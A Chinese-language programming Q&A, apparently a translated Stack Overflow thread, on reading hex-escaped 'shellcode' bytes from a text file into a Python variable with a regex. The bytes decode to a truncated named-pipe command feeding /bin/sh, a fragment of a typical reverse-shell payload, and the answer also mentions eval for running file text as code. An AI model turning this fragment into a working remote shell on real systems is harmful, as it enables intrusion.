0

我有一个包含 shellcode 的文本文件,如下所示:

buf += b"\x6d\x6b\x66\x69\x66\x6f\x20\x2f\x74\x6d\x70\x2f\x73"
buf += b"\x35\x35\x20\x30\x3c\x2f\x74\x6d\x70\x2f\x73\x61\x6b"
buf += b"\x6e\x20\x7c\x20\x2f\x62\x69\x6e\x2f\x73\x68\x20\x3e" 

我想使用自动读取这个shellcode并将其归因于我的python脚本中的一个变量来使用它。我写了一个看起来像这样的脚本

myfile = open("shellcode.txt","rt")
a = myfile.read()
myfile.close()
a = a.replace('buf += b"','')
a = a.replace('buf =  b""','')
a = a.replace('"','')
a = a.replace(' ','')
a = a.replace('\n','')
buf =""
buf = str.encode(a)

读取文件的内容,去掉我不需要的字符,只留下我需要的原始 shellcode 并将其转换为字节。

我也试过 bytes , bytearray ,buf += b"%s"%(a)

所以每当我打印 buf 时,它会按原样输出 shellcode,但是当我复制 shellcode.txt 的内容并将其粘贴到 python 脚本和 print(buf) 时,它会打印 shellcode 的解码版本。

所以如果这个方法不起作用,我可以读取文件并执行它的每一行,就好像它是脚本的一部分一样?

4

1 回答 1

0

这是使用正则表达式提取字节值的建议。regex101是玩正则表达式和调试它们的好地方。

import re

BYTE_REGEX = r"\\x([\w|\d]{2})" # extract bytes from string, without leading `\x`
# regex101.com is very good reference to analyse regex patterns

# retrieve text
with open('shellcode.txt', 'r') as f:
    file_text = f.read()

buf_list = []
for byte in re.findall(BYTE_REGEX, file_text):
    # scan string and treat all bytes one by one
    buf_list.append(int(byte, base=16))

result = bytearray(buf_list)

print(result)
# mkfifo /tmp/s55 0</tmp/sakn | /bin/sh >

还有一些机制可以执行以文本形式给出的 python 代码,请参见eval

于 2020-03-17T17:19:53.630 回答